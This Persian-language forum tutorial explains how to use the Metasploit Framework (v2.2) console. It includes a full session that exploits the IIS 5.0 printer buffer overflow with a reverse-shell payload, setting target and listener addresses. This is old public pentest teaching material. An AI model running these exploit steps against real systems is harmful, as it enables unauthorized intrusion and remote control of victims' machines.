یه آموزش سریع
www.metasploit.com
بعد از نصب برنامه فایل msfconsole را اجرا کنید تا پرامپت متااسپلویت و ببینید.
همکنون ما در مود اصلی هستیم (main Mode) و میتوانید با زدن دستور help تمام دستورات قابل اجرا را مشاهده کنید.
با وارد کردن دستور show exploits میتوانید لیست اکسپلویت های موجود را ببینید. و یا برای دیدن جزئییات هر اکسپلویت از دستور( show modul_name) استفاده کنید.
انتخاب اکسپلویت:
برای انتخاب اکسپلویت از دستور use و برای خارج شدن ار این حالت از back استفاده کنید.
برای استفاده از هر ماژول اکسپلویت احتیاج به تنظیم Option های آن میباشد ..برای دیدن این آپشن ها ار دستور show options استفاده کنید.(دقت کنید . ابتدا اکسپلویت مورد نظر را انتخاب کرده و بعد میتوان option های آن را تغییر دهید.
آپشن های کاربردی:
RHOST: از این آپشن برای تنظیم آدرس هدف استفاده میشود
RPORT: از این آپشن برای تنظیم پورت مورد نظر بر روی هدف استفاده میشود.
LHOST: تنظیم آدرس شخصی
LPORT: برای تنظیم آدرس پورت شخصی
PAYLOAD: پی لود نوع دستوراتی را مشخص میکند که بعد از این که هدف با موفقیت exploit شد. بر روی هدف اجرا میشود. برای دیدن لیست این پی لود ها از دستور show payloads استفاده کنید.
TARGET : نوع برنامه ای را که قرار است exploit شود مشخص میکند. برای دیدن اهداف از دستور show targets استفاده کنید.
برای ست کردن هر کدام ار این option ها از دستور set استفاده کنید.
در انتها برای اجرای اکسپلویت ار دستور exploit استفاده کنید.
نکته: حتما دقت کنید که برای option ها از حروف بزرگ استفاده شود.
مثال:
اجرای اکسپلویت IIS 5.0 Printer Buffer Overflow
منبع سايتکد:__. .__. .__. __. _____ _____/ |______ ____________ | | ____ |__|/ |_ / \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\ | Y Y \ ___/| | / __ \_\___ \ | |_> > |_( <_> ) || | |__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__| \/ \/ v2.2 \/ \/ |__| + -- --=[ msfconsole v2.2 [32 exploits - 33 payloads] [msf > [b]show exploits[/B Metasploit Framework Loaded Exploits ==================================== Credits Metasploit Framework Credits afp_loginext AppleFileServer LoginExt PathName Buffer Overflow apache_chunked_win32 Apache Win32 Chunked Encoding blackice_pam_icq ISS PAM.dll ICQ Parser Buffer Overflow distcc_exec DistCC Daemon Command Execution exchange2000_xexch50 Exchange 2000 MS03-46 Heap Overflow frontpage_fp30reg_chunked Frontpage fp30reg.dll Chunked Encoding ia_webmail IA WebMail 3.x Buffer Overflow iis50_nsiislog_post IIS 5.0 nsiislog.dll POST Overflow iis50_printer_overflow IIS 5.0 Printer Buffer Overflow iis50_webdav_ntdll IIS 5.0 WebDAV ntdll.dll Overflow imail_ldap IMail LDAP Service Buffer Overflow lsass_ms04_011 Microsoft LSASS MSO4-011 Overflow mercantec_softcart Mercantec SoftCart CGI overflow msrpc_dcom_ms03_026 Microsoft RPC DCOM MSO3-026 mssql2000_preauthentication Microsoft SQL Server Hello Buffer Overflow mssql2000_resolution MSSQL 2000 Resolution Overflow openview_omniback HP OpenView Omniback II Command Execution poptop_negative_read Poptop Negative Read Overflow realserver_describe_linux RealServer Describe Buffer Overflow samba_nttrans Samba Fragment Reassembly Overflow samba_trans2open Samba trans2open Overflow sambar6_search_results Sambar 6 Search Results Buffer Overflow servu_mdtm_overflow Serv-U FTPD MDTM Overflow smb_sniffer SMB Password Capture Service solaris_sadmind_exec Solaris sadmind Command Execution squid_ntlm_authenticate Squid NTLM Authenticate Overflow svnserve_date Subversion Date Svnserve ut2004_secure_linux Unreal Tournament 2004 "secure" Overflow (Linux) ut2004_secure_win32 Unreal Tournament 2004 "secure" Overflow (Win32) warftpd_165_pass War-FTPD 1.65 PASS Overflow windows_ssl_pct Windows SSL PCT Overflow msf > use iis50_printer_overflow msf iis50_printer_overflow > show options Exploit Options =============== Exploit: Name Default Description -------- ------ ------- ------------------ optional SSL Use SSL required RHOST The target address required RPORT 80 The target port Target: Windows 2000 SP0/SP1 msf iis50_printer_overflow > show Targets Supported Exploit Targets ========================= 0 Windows 2000 SP0/SP1 msf iis50_printer_overflow > set TARGET 0 TARGET -> 0 msf iis50_printer_overflow > show payloads Metasploit Framework Usable Payloads ==================================== win32_bind Windows Bind Shell win32_bind_dllinject Windows Bind DLL Inject win32_bind_stg Windows Staged Bind Shell win32_bind_stg_upexec Windows Staged Bind Upload/Execute win32_bind_vncinject Windows Bind VNC Server DLL Inject win32_exec Windows Execute Command win32_reverse Windows Reverse Shell win32_reverse_dllinject Windows Reverse DLL Inject win32_reverse_stg Windows Staged Reverse Shell win32_reverse_stg_ie Windows Reverse InlineEgg Stager win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute win32_reverse_vncinject Windows Reverse VNC Server DLL Inject msf iis50_printer_overflow > set PAYLOAD win32_reverse PAYLOAD -> win32_reverse msf iis50_printer_overflow(win32_reverse) > show options Exploit and Payload Options =========================== Exploit: Name Default Description -------- ------ ------- ------------------ optional SSL Use SSL required RHOST The target address required RPORT 80 The target port Payload: Name Default Description -------- -------- ------- ------------------------------------------ optional EXITFUNC seh Exit technique: "process", "thread", "seh" required LHOST Local address to receive connection required LPORT 4321 Local port to receive connection Target: Windows 2000 SP0/SP1 msf iis50_printer_overflow(win32_reverse) > set RHOST 192.168.0.10 RHOST -> 192.168.0.10 msf iis50_printer_overflow(win32_reverse) > set RPORT 80 RPORT -> 80 msf iis50_printer_overflow(win32_reverse) > set LHOST 192.168.0.1 LHOST -> 192.168.0.1 msf iis50_printer_overflow(win32_reverse) > set LPORT 4321 LPORT -> 4321 msf iis50_printer_overflow(win32_reverse) > show options Exploit and Payload Options =========================== Exploit: Name Default Description -------- ------ ------------ ------------------ optional SSL Use SSL required RHOST 192.168.0.10 The target address required RPORT 80 The target port Payload: Name Default Description -------- -------- ----------- --------------------------------------- --- optional EXITFUNC seh Exit technique: "process", "thread", "s eh" required LHOST 192.168.0.1 Local address to receive connection required LPORT 4321 Local port to receive connection Target: Windows 2000 SP0/SP1 msf iis50_printer_overflow(win32_reverse) > exploit[*] Starting Reverse Handler.[*] Trying Windows 2000 SP0/SP1 using return to esp at 0x732c45f3...[*] Exiting Reverse Handler.... ...............
www.shabgard.org
موضوعات مشابه: